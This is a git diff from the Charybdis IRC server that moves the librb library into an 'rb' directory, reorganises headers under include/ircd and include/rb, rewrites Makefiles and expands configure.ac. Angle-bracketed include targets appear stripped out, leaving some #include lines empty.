modules/m_ison.c | 24 +- modules/m_kline.c | 40 +- modules/m_knock.c | 28 +- modules/m_links.c | 28 +- modules/m_list.c | 37 +- modules/m_lusers.c | 22 +- modules/m_map.c | 14 +- modules/m_monitor.c | 20 +- modules/m_motd.c | 26 +- modules/m_names.c | 26 +- modules/m_oper.c | 30 +- modules/m_operspy.c | 26 +- modules/m_pass.c | 24 +- modules/m_ping.c | 24 +- modules/m_pong.c | 30 +- modules/m_post.c | 20 +- modules/m_privs.c | 18 +- modules/m_rehash.c | 39 +- modules/m_restart.c | 28 +- modules/m_resv.c | 32 +- modules/m_sasl.c | 26 +- modules/m_scan.c | 36 +- modules/m_services.c | 35 +- modules/m_set.c | 26 +- modules/m_signon.c | 39 +- modules/m_snote.c | 34 +- modules/m_starttls.c | 26 +- modules/m_stats.c | 47 +- modules/m_svinfo.c | 24 +- modules/m_tb.c | 24 +- modules/m_testline.c | 22 +- modules/m_testmask.c | 24 +- modules/m_tginfo.c | 20 +- modules/m_time.c | 22 +- modules/m_topic.c | 36 +- modules/m_trace.c | 32 +- modules/m_unreject.c | 16 +- modules/m_user.c | 24 +- modules/m_userhost.c | 22 +- modules/m_users.c | 20 +- modules/m_version.c | 22 +- modules/m_wallops.c | 26 +- modules/m_who.c | 36 +- modules/m_whois.c | 40 +- modules/m_whowas.c | 30 +- modules/m_xline.c | 42 +- modules/sno_routing.c | 12 +- {librb/src => rb}/Makefile.am | 15 +- {librb => rb}/README.md | 0 {librb/src => rb}/arc4random.c | 3 +- {librb/src => rb}/balloc.c | 3 +- {librb/src => rb}/commio.c | 10 +- {librb/src => rb}/crypt.c | 3 +- {librb/src => rb}/devpoll.c | 6 +- {librb/src => rb}/dictionary.c | 4 +- {librb/src => rb}/epoll.c | 10 +- {librb/src => rb}/event.c | 7 +- {librb/src => rb}/export-syms.txt | 0 {librb/src => rb}/gnutls.c | 8 +- {librb/src => rb}/helper.c | 5 +- {librb/src => rb}/kqueue.c | 7 +- {librb/src => rb}/linebuf.c | 5 +- {librb/src => rb}/mbedtls.c | 8 +- {librb/src => rb}/mbedtls_embedded_data.h | 0 {librb/src => rb}/nossl.c | 10 +- {librb/src => rb}/openssl.c | 8 +- {librb/src => rb}/patricia.c | 3 +- {librb/src => rb}/poll.c | 5 +- {librb/src => rb}/ports.c | 9 +- {librb/src => rb}/radixtree.c | 4 +- {librb/src => rb}/rawbuf.c | 5 +- librb/src/rb_lib.c => rb/rb.c | 13 +- {librb/src => rb}/rb_memory.c | 4 +- {librb/src => rb}/select.c | 5 +- {librb/src => rb}/sigio.c | 9 +- {librb/src => rb}/tools.c | 4 +- {librb/src => rb}/unix.c | 3 +- librb/src/version.c.SH => rb/version.c | 49 +- {librb/src => rb}/win32.c | 5 +- scripts/application.sh | 4 +- ssld/Makefile.am | 6 +- ssld/ssld.c | 2 +- tools/Makefile.am | 6 +- tools/mkfingerprint.c | 8 +- tools/mkpasswd.c | 8 +- wsockd/Makefile.am | 6 +- wsockd/sha1.c | 2 +- wsockd/wsockd.c | 2 +- 353 files changed, 3316 insertions(+), 4833 deletions(-) create mode 100644 charybdis/.gitignore create mode 100644 charybdis/Makefile.am create mode 100644 charybdis/charybdis.cc create mode 100644 include/ircd/.gitignore rename include/{ => ircd}/authproc.h (99%) rename include/{ => ircd}/bandbi.h (100%) rename include/{ => ircd}/cache.h (97%) rename include/{ => ircd}/capability.h (98%) rename include/{ => ircd}/certfp.h (100%) rename include/{ => ircd}/channel.h (99%) rename include/{ => ircd}/chmode.h (100%) rename include/{ => ircd}/class.h (100%) rename include/{ => ircd}/client.h (99%) rename include/{ => ircd}/defaults.h (98%) rename include/{ => ircd}/dns.h (100%) rename include/{ => ircd}/hash.h (98%) rename include/{ => ircd}/hook.h (100%) rename include/{ => ircd}/hostmask.h (100%) rename include/{ => ircd}/inline/stringops.h (100%) rename include/{ => ircd}/ircd.h (100%) rename include/{ => ircd}/ircd_defs.h (100%) rename include/{ => ircd}/ircd_getopt.h (100%) rename include/{ => ircd}/ircd_linker.h (100%) rename include/{ => ircd}/ircd_signal.h (100%) rename include/{ => ircd}/listener.h (98%) rename include/{ => ircd}/logger.h (100%) rename include/{ => ircd}/m_info.h (100%) rename include/{ => ircd}/match.h (99%) rename include/{ => ircd}/messages.h (100%) rename include/{ => ircd}/modules.h (98%) rename include/{ => ircd}/monitor.h (100%) rename include/{ => ircd}/msg.h (100%) rename include/{ => ircd}/msgbuf.h (100%) rename include/{ => ircd}/newconf.h (100%) rename include/{ => ircd}/numeric.h (100%) rename include/{ => ircd}/operhash.h (100%) rename include/{ => ircd}/packet.h (100%) rename include/{ => ircd}/parse.h (98%) rename include/{ => ircd}/patchlevel.h (98%) rename include/{ => ircd}/privilege.h (100%) rename include/{ => ircd}/ratelimit.h (100%) rename include/{ => ircd}/reject.h (100%) rename include/{ => ircd}/restart.h (100%) rename include/{ => ircd}/s_assert.h (100%) rename include/{ => ircd}/s_conf.h (99%) rename include/{ => ircd}/s_newconf.h (99%) rename include/{ => ircd}/s_serv.h (100%) rename include/{ => ircd}/s_stats.h (100%) rename include/{ => ircd}/s_user.h (100%) rename include/{ => ircd}/scache.h (100%) rename include/{ => ircd}/send.h (99%) rename include/{ => ircd}/snomask.h (100%) rename include/{ => ircd}/sslproc.h (100%) rename include/{ => ircd}/stdinc.h (99%) rename include/{ => ircd}/substitution.h (100%) rename include/{ => ircd}/supported.h (100%) rename include/{ => ircd}/tgchange.h (100%) rename include/{ => ircd}/whowas.h (98%) rename include/{ => ircd}/wsproc.h (100%) create mode 100644 include/rb/.gitignore rename {librb/include => include/rb}/arc4random.h (100%) rename librb/include/rb_balloc.h => include/rb/balloc.h (92%) rename librb/include/rb_commio.h => include/rb/commio.h (100%) rename librb/include/commio-int.h => include/rb/commio_int.h (87%) rename librb/include/rb_dictionary.h => include/rb/dictionary.h (99%) rename librb/include/rb_dlink.h => include/rb/dlink.h (100%) rename librb/include/rb_event.h => include/rb/event.h (100%) rename librb/include/event-int.h => include/rb/event_int.h (93%) rename librb/include/rb_helper.h => include/rb/helper.h (100%) rename librb/include/rb_linebuf.h => include/rb/linebuf.h (100%) rename librb/include/rb_memory.h => include/rb/memory.h (99%) rename librb/include/rb_patricia.h => include/rb/patricia.h (100%) rename librb/include/rb_radixtree.h => include/rb/radixtree.h (100%) rename librb/include/rb_rawbuf.h => include/rb/rawbuf.h (100%) create mode 100644 include/rb/rb.h rename librb/include/commio-ssl.h => include/rb/ssl.h (97%) rename librb/include/rb_lib.h => include/rb/system.h (72%) rename librb/include/rb_tools.h => include/rb/tools.h (100%) delete mode 100644 ircd/main.c create mode 100644 ircd/version.c delete mode 100644 ircd/version.c.SH delete mode 100644 librb/COPYING delete mode 100644 librb/CREDITS delete mode 100644 librb/Makefile.am delete mode 100644 librb/TODO delete mode 100644 librb/acinclude.m4 delete mode 100755 librb/autogen.sh delete mode 100644 librb/configure.ac delete mode 100755 librb/install-sh delete mode 100644 librb/librb.pc.in rename {librb/src => rb}/Makefile.am (67%) rename {librb => rb}/README.md (100%) rename {librb/src => rb}/arc4random.c (99%) rename {librb/src => rb}/balloc.c (99%) rename {librb/src => rb}/commio.c (99%) rename {librb/src => rb}/crypt.c (99%) rename {librb/src => rb}/devpoll.c (98%) rename {librb/src => rb}/dictionary.c (99%) rename {librb/src => rb}/epoll.c (98%) rename {librb/src => rb}/event.c (98%) rename {librb/src => rb}/export-syms.txt (100%) rename {librb/src => rb}/gnutls.c (99%) rename {librb/src => rb}/helper.c (98%) rename {librb/src => rb}/kqueue.c (98%) rename {librb/src => rb}/linebuf.c (99%) rename {librb/src => rb}/mbedtls.c (99%) rename {librb/src => rb}/mbedtls_embedded_data.h (100%) rename {librb/src => rb}/nossl.c (97%) rename {librb/src => rb}/openssl.c (99%) rename {librb/src => rb}/patricia.c (99%) rename {librb/src => rb}/poll.c (98%) rename {librb/src => rb}/ports.c (98%) rename {librb/src => rb}/radixtree.c (99%) rename {librb/src => rb}/rawbuf.c (98%) rename librb/src/rb_lib.c => rb/rb.c (98%) rename {librb/src => rb}/rb_memory.c (96%) rename {librb/src => rb}/select.c (98%) rename {librb/src => rb}/sigio.c (98%) rename {librb/src => rb}/tools.c (99%) rename {librb/src => rb}/unix.c (98%) rename librb/src/version.c.SH => rb/version.c (63%) rename {librb/src => rb}/win32.c (99%) diff --git a/.gitignore b/.gitignore index 97a17b388..2cbbb52d4 100644 --- a/.gitignore +++ b/.gitignore @@ -28,31 +28,11 @@ config.status configure stamp-h1 libltdl/ -librb/configure -librb/compile -librb/depcomp -librb/aclocal.m4 -librb/include/librb_config.h -librb/include/librb_config.h.in -librb/include/librb-config.h -librb/include/serno.h -librb/librb.pc -librb/ltmain.sh -librb/missing -librb/libratbox.pc -librb/libtool -librb/src/version.c -librb/src/version.c.last scripts/*.tar.bz2 scripts/*.tar.gz -include/setup.h -include/setup.h.in -ircd/charybdis ircd/ircd_parser.c ircd/ircd_parser.h ircd/ircd_lexer.c -ircd/version.c -ircd/version.c.last ssld/ssld wsockd/wsockd testsuite/ircd.pid.* @@ -61,10 +41,6 @@ tools/charybdis-mkfingerprint tools/genssl tools/mkpasswd tools/viconf -include/serno.h -ircd/charybdis -ircd/version.c -ircd/version.c.last /libtool Makefile.in m4/argz.m4 @@ -76,3 +52,5 @@ m4/ltsugar.m4 m4/ltversion.m4 m4/lt~obsolete.m4 *.dSYM/ +install-sh +ylwrap diff --git a/Makefile.am b/Makefile.am index 551b10d81..77a1fe306 100644 --- a/Makefile.am +++ b/Makefile.am @@ -1,59 +1,34 @@ AUTOMAKE_OPTIONS = foreign ACLOCAL_AMFLAGS = -I m4 -SUBDIRS = librb +SUBDIRS = rb \ + ircd if BUILD_LTDL -SUBDIRS += libltdl + SUBDIRS += libltdl endif -SUBDIRS += ircd \ - ssld \ - wsockd \ - authd \ - bandb \ - tools \ - modules \ - extensions \ - help \ - doc +SUBDIRS += tools \ + help \ + doc \ + ssld \ + wsockd \ + authd \ + bandb \ + modules \ + extensions \ + charybdis -logdir = @prefix@/logs - -BUILT_SOURCES = include/serno.h - -include/serno.h: - @if [ -d .git ]; then \ - revh=`git log -1 --date=format:%Y%m%d --pretty=format:%cd-%h`; \ - datecode=`git log -1 --pretty=format:%ct`; \ - if [ -n "$$revh" ]; then \ - echo '#define SERNO "'$$revh'"' >include/serno.h ; \ - echo "#define DATECODE $${datecode}UL" >>include/serno.h; \ - fi \ - fi - @if [ ! -f include/serno.h ]; then \ - echo '#define SERNO "unknown"' >include/serno.h; \ - echo '#define DATECODE 0UL' >>include/serno.h; \ - fi +logdir = @prefix@/var/log install-data-hook: test -d ${DESTDIR}${logdir} || mkdir -p ${DESTDIR}${logdir} -install-exec-hook: - rm -f ${DESTDIR}${moduledir}/*.la - rm -f ${DESTDIR}${moduledir}/autoload/*.la - rm -f ${DESTDIR}${moduledir}/extensions/*.la - rm -f ${DESTDIR}${moduledir}/*.dll.a - rm -f ${DESTDIR}${moduledir}/autoload/*.dll.a - rm -f ${DESTDIR}${moduledir}/extensions/*.dll.a - -distclean-local: - rm -f librb/include/librb-config.h +mrproper: + rm -f include/rb/config.h + rm -f include/rb/config.h.in clean-local: - rm -f include/serno.h rm -f ircd/ircd_lexer.c rm -f ircd/ircd_parser.c rm -f ircd/ircd_parser.h - rm -f ircd/version.c - rm -f ircd/version.c.last diff --git a/authd/Makefile.am b/authd/Makefile.am index d6033e056..f291f5df8 100644 --- a/authd/Makefile.am +++ b/authd/Makefile.am @@ -1,6 +1,6 @@ -pkglibexec_PROGRAMS = authd +bin_PROGRAMS = authd AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I../include -I../librb/include +AM_CPPFLAGS = -I$(top_srcdir)/include authd_SOURCES = \ authd.c \ @@ -17,4 +17,4 @@ authd_SOURCES = \ providers/rdns.c \ providers/opm.c -authd_LDADD = ../librb/src/librb.la +authd_LDADD = $(top_srcdir)/rb/librb.la diff --git a/authd/authd.h b/authd/authd.h index f9e7e2f28..9ac3c179c 100644 --- a/authd/authd.h +++ b/authd/authd.h @@ -21,12 +21,7 @@ #ifndef _AUTHD_H #define _AUTHD_H -#include "stdinc.h" -#include "rb_lib.h" -#include "rb_dictionary.h" - -#include "setup.h" -#include "ircd_defs.h" +#include typedef enum exit_reasons { diff --git a/authd/dns.h b/authd/dns.h index 7383ab692..493491fe1 100644 --- a/authd/dns.h +++ b/authd/dns.h @@ -23,7 +23,7 @@ #define DNS_REQ_IDLEN 10 -#include "stdinc.h" +#include #include "res.h" #include "reslib.h" diff --git a/authd/getaddrinfo.c b/authd/getaddrinfo.c index 43384c426..c7c662387 100644 --- a/authd/getaddrinfo.c +++ b/authd/getaddrinfo.c @@ -28,9 +28,9 @@ */ #ifdef _WIN32 -#include +#include +#include #include "getaddrinfo.h" -#include "stdinc.h" static const char in_addrany[] = { 0, 0, 0, 0 }; static const char in_loopback[] = { 127, 0, 0, 1 }; diff --git a/authd/getnameinfo.c b/authd/getnameinfo.c index 4b3dbcf51..4c9d1ef8b 100644 --- a/authd/getnameinfo.c +++ b/authd/getnameinfo.c @@ -42,7 +42,7 @@ */ #ifdef _WIN32 -#include +#include #include "getaddrinfo.h" #include "getnameinfo.h" diff --git a/authd/provider.c b/authd/provider.c index 7def5714a..ce412a0f2 100644 --- a/authd/provider.c +++ b/authd/provider.c @@ -46,9 +46,7 @@ * --Elizafox, 9 March 2016 */ -#include "stdinc.h" -#include "rb_dictionary.h" -#include "rb_lib.h" +#include #include "authd.h" #include "provider.h" #include "notice.h" diff --git a/authd/provider.h b/authd/provider.h index 9bcb74214..97af1361d 100644 --- a/authd/provider.h +++ b/authd/provider.h @@ -21,9 +21,8 @@ #ifndef __CHARYBDIS_AUTHD_PROVIDER_H__ #define __CHARYBDIS_AUTHD_PROVIDER_H__ -#include "stdinc.h" +#include #include "authd.h" -#include "rb_dictionary.h" #define MAX_PROVIDERS 32 /* This should be enough */ diff --git a/authd/providers/blacklist.c b/authd/providers/blacklist.c index c6de72a6c..7dcb7fee9 100644 --- a/authd/providers/blacklist.c +++ b/authd/providers/blacklist.c @@ -38,10 +38,8 @@ */ #include "authd.h" -#include "defaults.h" #include "provider.h" #include "notice.h" -#include "stdinc.h" #include "dns.h" #define SELF_PID (blacklist_provider.id) diff --git a/authd/providers/ident.c b/authd/providers/ident.c index e6f08b198..8b2bedf68 100644 --- a/authd/providers/ident.c +++ b/authd/providers/ident.c @@ -24,9 +24,8 @@ * --Elizafox 13 March 2016 */ -#include "stdinc.h" -#include "defaults.h" -#include "match.h" +#include +#include #include "authd.h" #include "notice.h" #include "provider.h" diff --git a/authd/providers/opm.c b/authd/providers/opm.c index 8087bc972..b98124459 100644 --- a/authd/providers/opm.c +++ b/authd/providers/opm.c @@ -18,10 +18,7 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "rb_lib.h" -#include "defaults.h" -#include "setup.h" +#include #include "authd.h" #include "notice.h" #include "provider.h" diff --git a/authd/providers/rdns.c b/authd/providers/rdns.c index ff0bb0780..5ac03511d 100644 --- a/authd/providers/rdns.c +++ b/authd/providers/rdns.c @@ -18,8 +18,7 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "rb_commio.h" +#include #include "authd.h" #include "provider.h" #include "notice.h" diff --git a/authd/res.c b/authd/res.c index 878174731..f39507436 100644 --- a/authd/res.c +++ b/authd/res.c @@ -32,8 +32,7 @@ * January 2016 --kaniini */ -#include -#include "setup.h" +#include #include "res.h" #include "reslib.h" diff --git a/authd/reslib.c b/authd/reslib.c index 7771da6c5..c33ae9d68 100644 --- a/authd/reslib.c +++ b/authd/reslib.c @@ -76,7 +76,7 @@ * - Dianora */ -#include +#include #ifndef _WIN32 @@ -95,13 +95,12 @@ extern const char * get_windows_nameservers(void); typedef struct rb_addrinfo rb_addrinfo; #endif -#include "stdinc.h" -#include "ircd_defs.h" -#include "ircd.h" +#include +#include +#include +#include #include "res.h" #include "reslib.h" -#include "match.h" -#include "logger.h" #define NS_TYPE_ELT 0x40 /* EDNS0 extended label type */ #define DNS_LABELTYPE_BITSTRING 0x41 diff --git a/authd/reslist.c b/authd/reslist.c index 1a17ec2e6..3df01c814 100644 --- a/authd/reslist.c +++ b/authd/reslist.c @@ -29,8 +29,7 @@ */ #ifdef _WIN32 -#include - +#include #include #include diff --git a/autogen.sh b/autogen.sh index 6348810bc..35a6fca34 100755 --- a/autogen.sh +++ b/autogen.sh @@ -81,13 +81,6 @@ parse_options "$@" echo "Building librb autotools files." -cd "$TOP_DIR"/librb -sh autogen.sh - -echo "Building main autotools files." - -cd "$LAST_DIR" - run_or_die $ACLOCAL -I m4 run_or_die $LIBTOOLIZE --force --copy run_or_die $AUTOHEADER diff --git a/bandb/Makefile.am b/bandb/Makefile.am index 040451c15..0d305cda9 100644 --- a/bandb/Makefile.am +++ b/bandb/Makefile.am @@ -1,16 +1,15 @@ -pkglibexec_PROGRAMS = bandb -bin_PROGRAMS = bantool +bin_PROGRAMS = bandb bantool AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I../include -I../librb/include @SQLITE_INCLUDES@ +AM_CPPFLAGS = -I$(top_srcdir)/include @SQLITE_INCLUDES@ AM_CPPFLAGS += -DSQLITE_THREADSAFE=0 -DSQLITE_OMIT_LOAD_EXTENSION bandb_SOURCES = bandb.c rsdb_sqlite3.c rsdb_snprintf.c EXTRA_bandb_SOURCES = sqlite3.c -bandb_LDADD = ../librb/src/librb.la @SQLITE_LD@ @SQLITE_OBJ@ +bandb_LDADD = $(top_srcdir)/rb/librb.la @SQLITE_LD@ @SQLITE_OBJ@ bandb_DEPENDENCIES = @SQLITE_OBJ@ bantool_SOURCES = bantool.c rsdb_sqlite3.c rsdb_snprintf.c EXTRA_bantool_SOURCES = sqlite3.c -bantool_LDADD = ../librb/src/librb.la @SQLITE_LD@ @SQLITE_OBJ@ +bantool_LDADD = $(top_srcdir)/rb/librb.la @SQLITE_LD@ @SQLITE_OBJ@ bantool_DEPENDENCIES = @SQLITE_OBJ@ diff --git a/bandb/bandb.c b/bandb/bandb.c index 769f6fe43..b17e647c3 100644 --- a/bandb/bandb.c +++ b/bandb/bandb.c @@ -27,11 +27,9 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "setup.h" -#include -#include +#include #include "rsdb.h" -#include "ircd_defs.h" +#include #define MAXPARA 10 diff --git a/bandb/bantool.c b/bandb/bantool.c index f4547eb9b..2a88c16ee 100644 --- a/bandb/bantool.c +++ b/bandb/bantool.c @@ -39,7 +39,7 @@ #include #include -#include "stdinc.h" +#include #include "rsdb.h" #define EmptyString(x) ((x == NULL) || (*(x) == '\0')) diff --git a/bandb/rsdb_snprintf.c b/bandb/rsdb_snprintf.c index 7cf369ddd..a4a0d39b6 100644 --- a/bandb/rsdb_snprintf.c +++ b/bandb/rsdb_snprintf.c @@ -6,7 +6,7 @@ * do so under the terms of the GNU General Public License under which * this library is distributed. */ -#include "stdinc.h" +#include #include "rsdb.h" /* diff --git a/bandb/rsdb_sqlite3.c b/bandb/rsdb_sqlite3.c index 97eff0e64..a9de390ae 100644 --- a/bandb/rsdb_sqlite3.c +++ b/bandb/rsdb_sqlite3.c @@ -28,7 +28,7 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" +#include #include "rsdb.h" #include diff --git a/charybdis/.gitignore b/charybdis/.gitignore new file mode 100644 index 000000000..ac536e13e --- /dev/null +++ b/charybdis/.gitignore @@ -0,0 +1 @@ +charybdis diff --git a/charybdis/Makefile.am b/charybdis/Makefile.am new file mode 100644 index 000000000..3dd0672d2 --- /dev/null +++ b/charybdis/Makefile.am @@ -0,0 +1,12 @@ +prefix = @prefix@ +AM_CPPFLAGS = @LTDLINCL@ -I$(top_srcdir)/include + +if MINGW +EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' +endif + +bin_PROGRAMS = charybdis +charybdis_SOURCES = charybdis.cc +charybdis_LDFLAGS = $(EXTRA_FLAGS) -dlopen self +charybdis_LDADD = -L$(top_srcdir)/ircd -lircd +charybdis_LDADD += -L$(top_srcdir)/rb -lrb diff --git a/charybdis/charybdis.cc b/charybdis/charybdis.cc new file mode 100644 index 000000000..2e4919b18 --- /dev/null +++ b/charybdis/charybdis.cc @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2016 Charybdis Development Team + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice is present in all copies. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include + + +extern "C" int charybdis_main(int argc, char *argv[]); + +int main(int argc, char *argv[]) +{ + return charybdis_main(argc, argv); +} diff --git a/configure.ac b/configure.ac index ef8783050..f37ec8931 100644 --- a/configure.ac +++ b/configure.ac @@ -2,38 +2,623 @@ dnl TODO: clean up all the OpenSSL and shared module checking stuff; dnl the most major changes have already been made and it looks like dnl said functions need to be just about as complex as they already are. -AC_PREREQ(2.60) +AC_PREREQ(2.63) +AUTOMAKE_OPTIONS = 1.10 AC_INIT([charybdis], [5-dev]) +AC_CONFIG_MACRO_DIR([m4]) +AC_CONFIG_HEADER(include/rb/config.h) +AC_PREFIX_DEFAULT($HOME/ircd) -AC_LANG(C) -AC_USE_SYSTEM_EXTENSIONS +AC_LANG(C++) AC_GNU_SOURCE - -AC_PROG_CC_C99 -if test x"$ac_cv_prog_cc_c99" = "xno"; then - AC_ERROR([charybdis requires a C99 capable compiler]) -fi +AC_USE_SYSTEM_EXTENSIONS +AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) +AC_ISC_POSIX +AC_C_INLINE +AC_C_CONST +AC_C_BIGENDIAN +AC_TYPE_PID_T +AC_TYPE_SIZE_T +AC_TYPE_SSIZE_T +AC_TYPE_UID_T AC_PROG_CXX -AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) +AC_PROG_MAKE_SET +AC_PROG_LIBTOOL +AC_PATH_PROG(AUTOMAKE, automake) +AC_PATH_PROG(ACLOCAL, aclocal) +AC_PATH_PROG(AUTOHEADER, autoheader) +AC_PATH_PROG(AS, as) +AC_PATH_PROG(RM, rm) +AC_PATH_PROG(CP, cp) +AC_PATH_PROG(MV, mv) +AC_PATH_PROG(LN, ln) +AC_PATH_PROG(TOUCH, touch) -AC_PREFIX_DEFAULT($HOME/ircd) -AC_CONFIG_MACRO_DIR([m4]) -AC_CONFIG_HEADER(include/setup.h) +LT_CONFIG_LTDL_DIR([libltdl]) +LT_INIT([dlopen disable-static]) +LTDL_INIT +#LIBTOOL="$LIBTOOL --silent" -AC_CONFIG_SUBDIRS([librb]) -AC_CONFIG_AUX_DIR([libltdl/config]) +AC_CONFIG_FILES(\ + Makefile \ + authd/Makefile \ + bandb/Makefile \ + charybdis/Makefile \ + doc/Makefile \ + extensions/Makefile \ + help/Makefile \ + ircd/Makefile \ + modules/Makefile \ + rb/Makefile \ + ssld/Makefile \ + tools/Makefile \ + tools/genssl \ + wsockd/Makefile \ +) AM_INIT_AUTOMAKE([subdir-objects]) -AM_SILENT_RULES([yes]) -AM_PROG_AR +AM_EXTRA_RECURSIVE_TARGETS([mrproper]) + +VERSION_CMD="git describe --tags" +DATESTR_CMD="date -R" +DATECODE_CMD="date +%s" + +RB_VERSION=`$VERSION_CMD` +RB_DATESTR=`$DATESTR_CMD` +RB_DATECODE=`$DATECODE_CMD` + +AC_DEFINE_UNQUOTED([RB_VERSION], ["$RB_VERSION"], [Version generated at configuration time.]) +AC_DEFINE_UNQUOTED([RB_DATESTR], ["$RB_DATESTR"], [Readable date string of configuration time.]) +AC_DEFINE_UNQUOTED([RB_DATECODE], [$RB_DATECODE], [UNIX epoch time at configuration time.]) + +AC_DEFINE([NICKNAMEHISTORYLENGTH], 15000, [Size of the WHOWAS array.]) +AC_DEFINE([CHANNEL_HEAP_SIZE], 8192, [Size of the channel heap.]) +AC_DEFINE([BAN_HEAP_SIZE], 4096, [Size of the ban heap.]) +AC_DEFINE([CLIENT_HEAP_SIZE], 8192, [Size of the client heap.]) +AC_DEFINE([LCLIENT_HEAP_SIZE], 1024, [Size of the local client heap.]) +AC_DEFINE([PCLIENT_HEAP_SIZE], 256, [Size of the pre-client heap.]) +AC_DEFINE([USER_HEAP_SIZE], 8192, [Size of the user heap.]) +AC_DEFINE([DNODE_HEAP_SIZE], 8192, [Size of the dlink_node heap.]) +AC_DEFINE([TOPIC_HEAP_SIZE], 4096, [Size of the topic heap.]) +AC_DEFINE([LINEBUF_HEAP_SIZE], 2048, [Size of the linebuf heap.]) +AC_DEFINE([MEMBER_HEAP_SIZE], 32768, [Sizeof member heap.]) +AC_DEFINE([ND_HEAP_SIZE], 512, [Size of the nick delay heap.]) +AC_DEFINE([CONFITEM_HEAP_SIZE], 256, [Size of the confitem heap.]) +AC_DEFINE([MONITOR_HEAP_SIZE], 1024, [Size of the monitor heap.]) +AC_DEFINE([FD_HEAP_SIZE], 1024, [Size of fd heap.]) +AC_DEFINE([AWAY_HEAP_SIZE], 512, [Size of away heap.]) + +dnl Checks for header files. +AC_DEFUN([RB_CHK_SYSHEADER], \ +[ + AC_CHECK_HEADER([$1], \ + [ + AC_DEFINE([HAVE_$2], [1], [ Indication $1 is available. ]) + AC_DEFINE_UNQUOTED([RB_INC_$2], [$1>], [ The computed-include location of $1. ]) + ],[ + AC_DEFINE_UNQUOTED([RB_INC_$2], [/dev/null>], [ The computed-include location of $1. ]) + ]) +]) + +RB_CHK_SYSHEADER([errno.h]) +#RB_CHK_SYSHEADER([errno.h], [ERRNO_H]) +RB_CHK_SYSHEADER([assert.h], [ASSERT_H]) +RB_CHK_SYSHEADER([stddef.h], [STDDEF_H]) +RB_CHK_SYSHEADER([stdarg.h], [STDARG_H]) +RB_CHK_SYSHEADER([stdint.h], [STDINT_H]) +RB_CHK_SYSHEADER([inttypes.h], [INTTYPES_H]) +RB_CHK_SYSHEADER([ctype.h], [CTYPE_H]) +RB_CHK_SYSHEADER([limits.h], [LIMITS_H]) +RB_CHK_SYSHEADER([stdlib.h], [STDLIB_H]) +RB_CHK_SYSHEADER([unistd.h], [UNISTD_H]) +RB_CHK_SYSHEADER([time.h], [TIME_H]) +RB_CHK_SYSHEADER([fcntl.h], [FCNTL_H]) +RB_CHK_SYSHEADER([signal.h], [SIGNAL_H]) +RB_CHK_SYSHEADER([sys/types.h], [SYS_TYPES_H]) +RB_CHK_SYSHEADER([sys/time.h], [SYS_TIME_H]) +RB_CHK_SYSHEADER([sys/stat.h], [SYS_STAT_H]) +RB_CHK_SYSHEADER([sys/socket.h], [SYS_SOCKET_H]) +RB_CHK_SYSHEADER([arpa/inet.h], [ARPA_INET_H]) +RB_CHK_SYSHEADER([netinet/in.h], [NETINET_IN_H]) +RB_CHK_SYSHEADER([netinet/tcp.h], [NETINET_TCP_H]) +RB_CHK_SYSHEADER([string.h], [STRING_H]) +RB_CHK_SYSHEADER([stdio.h], [STDIO_H]) +RB_CHK_SYSHEADER([crypt.h], [CRYPT_H]) +RB_CHK_SYSHEADER([sys/uio.h], [SYS_UIO_H]) +RB_CHK_SYSHEADER([spawn.h], [SPAWN_H]) +RB_CHK_SYSHEADER([sys/poll.h], [SYS_POLL_H]) +RB_CHK_SYSHEADER([sys/epoll.h], [SYS_EPOLL_H]) +RB_CHK_SYSHEADER([sys/select.h], [SYS_SELECT_H]) +RB_CHK_SYSHEADER([sys/devpoll.h], [SYS_DEVPOLL_H]) +RB_CHK_SYSHEADER([sys/event.h], [SYS_EVENT_H]) +RB_CHK_SYSHEADER([port.h], [PORT_H]) +RB_CHK_SYSHEADER([sys/signalfd.h], [SYS_SIGNALFD_H]) +RB_CHK_SYSHEADER([sys/timerfd.h], [SYS_TIMERFD_H]) +RB_CHK_SYSHEADER([execinfo.h], [EXECINFO_H]) +RB_CHK_SYSHEADER([windows.h], [WINDOWS_H]) +RB_CHK_SYSHEADER([winsock2.h], [WINSOCK2_H]) +RB_CHK_SYSHEADER([ws2tcpip.h], [WS2TCPIP_H]) +RB_CHK_SYSHEADER([iphlpapi.h], [IPHLPAPI_H]) + + +CFLAGS="$IRC_CFLAGS $CFLAGS" + +case "$host_os" in +*cygwin*) + AC_DEFINE_UNQUOTED(CYGWIN,1,[This is a Cygwin system]) + AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) + ;; +*mingw* | *msys*) + AC_DEFINE_UNQUOTED(MINGW,1,[This is a MinGW system]) + AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) + 